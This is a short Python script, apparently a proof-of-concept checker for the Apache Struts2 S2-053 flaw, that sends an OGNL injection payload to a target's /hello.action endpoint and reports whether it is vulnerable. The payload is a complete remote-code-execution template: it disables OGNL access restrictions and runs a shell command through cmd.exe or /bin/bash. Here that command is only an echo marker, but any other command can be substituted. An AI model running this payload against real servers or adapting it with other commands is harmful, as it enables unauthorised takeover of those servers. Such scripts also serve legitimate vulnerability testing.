#!/usr/bin/python
#-*- coding:utf-8 -*-

import requests
import sys
import argparse
from json_parse import Jsonparse


class strus2(object):
    def __init__ (self,ip,port,level):
        self.ip = ip
        self.port = port
        self.level = level
    def run(self):
        if self.port == "443":
            url = "https://"+self.ip
        else:
            url = "http://"+self.ip+":"+self.port
        tg = url + "/hello.action"
        cmd='echo 053test053'
        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Referer':tg,
        'Connection':'close',
        'Upgrade-Insecure-Requests':'1',
        'Cache-Control':'max-age=0'}
        params={"redirectUri":"%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"+"\n"}
        try:
            r=requests.post(tg,headers=headers,params=params,timeout = self.level,verify=False)
            if "053test053" in r.text:
                print("[+] Target "+url+" Find Struts2-053 Vuln!!! ")
                exit(233)
            else:
                print("[-] Target "+url+" Not Struts2-053 Vuln!!! Good Luck")
                exit(1)
        except Exception as e:
            print(e)
            exit(-1)


if __name__ == '__main__':
    print("[*] start checking")
    jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
    jsonobj = Jsonparse(jsonfile)
    jsondata = jsonobj.parse()
    targetip = sys.argv[2]
    timeout = jsondata['timeout3']
    port = sys.argv[3]
    Scanner = strus2(targetip, port, timeout)
    Scanner.run()